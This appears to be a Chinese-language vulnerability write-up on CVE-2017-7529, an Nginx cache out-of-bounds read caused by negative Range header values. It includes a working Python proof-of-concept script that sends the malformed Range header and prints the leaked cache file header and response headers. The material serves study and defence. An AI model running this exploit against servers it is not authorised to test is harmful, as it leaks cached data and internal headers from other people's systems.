Nginx越界读取缓存漏洞分析CVE-2017-7529

CVE-2017-7529

• Nginx越界读取缓存漏洞

---

Nginx在反向代理站点的时候，通常会将一些文件进行缓存，特别是静态文件。缓存的部分存储在文件中，每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件，则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。

漏洞分析

如果我的请求中包含Range头，Nginx将会根据我指定的start和end位置，返回指定长度的内容。而如果我构造了两个负的位置，如(-600, -9223372036854774591)，将可能读取到负位置的数据。如果这次请求又命中了缓存文件，则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。

---

• range头

---- 关于range头，就是分段请求，比如Range:bytes=start-end中就是返回start-end的字节

而对应的响应消息头是Content-Range: bytes 0-10/1024

该响应表示服务器响应的是前0-10字节数据，一共有1024字节的数据

• 查看其配置

http配置中显示其默认配置路径

打开默认模块配置查看其中默认时开启缓存的，在range头中只要start值为合适的负值，即可实现缓存区越界读取

漏洞复现

• poc分析

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}  # 构造头
offset = 605  # 设置偏移地址
url = sys.argv[1]  #命令行输入url
file_len = len(requests.get(url, headers=headers).content)  ## 计算响应字节长度
n = file_len + offset  
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)  ## 设置range为负值start值和end值

r = requests.get(url, headers=headers)
print(r.text) # 返回响应长度

• 执行poc代码，返回内容图中所标记的部分为响应消息头，消息头上方是缓冲文件头
  所以这里时执行成功的，返回了之前的缓存文件；
  

其中响应头中ETag表示资源版本的标识符，通常是消息摘要（分段下载时要注意这个东西，或者缓存控制也要注意这个响应）